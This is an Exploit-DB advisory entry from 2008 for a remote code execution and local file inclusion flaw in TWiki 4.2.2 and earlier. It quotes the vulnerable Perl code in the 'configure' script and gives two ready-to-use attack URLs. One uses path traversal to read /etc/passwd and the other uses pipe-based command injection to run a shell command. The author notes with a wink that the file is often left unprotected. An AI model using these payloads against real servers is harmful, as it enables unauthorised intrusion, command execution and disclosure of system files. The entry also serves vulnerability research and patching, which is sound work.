TWiki <= 4.2.2 action Remote Code Execution Vulnerability

2008-09-21T00:00:00
ID EDB-ID:6509
Type exploitdb
Reporter webDEViL
Modified 2008-09-21T00:00:00

Description

TWiki <= 4.2.2 (action) Remote Code Execution Vulnerability. CVE-2008-3195,CVE-2008-4112. Webapps exploit for cgi platform

                                        
                                            #-----------webDEViL - [ w3bd3vil [at] gmail [dot] com ] -----------#
#-----------TWiki Remote Code Execution &lt;= 4.2.2--------------------#

# ----------developers site: http://www.twiki.org-------------------#
# ----------CVE Id(s)      : CVE-2008-3195--------------------------#

# http://twiki.org/cgi-bin/view/Codev/DownloadTWiki#4_2_3_Bugfix_Highlights

The "configure" file in TWiki's bin folder is vulnerable to code execution and local file inclusion.

According to TWiki's documentation this file is meant to be protected with .htaccess, but many a times you find it is not ;)

Vulnerable code:

if( $action eq 'image' ) {
    # SMELL: this call is correct, but causes a perl error

    # on some versions of CGI.pm
    # print $query-&gt;header(-type =&gt; $query-&gt;param('type'));
    # So use this instead:
    print 'Content-type: '.$query-&gt;param('type')."\n\n";

    if( open(F, 'logos/'.$query-&gt;param('image' ))) {
        local $/ = undef;
        print &lt;F&gt;;
        close(F);
    }

http://localhost/twiki/bin/configure?action=image;image=../../../../../../../etc/passwd;type=text/plain

http://localhost/twiki/bin/configure?action=image;image=|uname -a|;type=text/plain

# milw0rm.com [2008-09-21]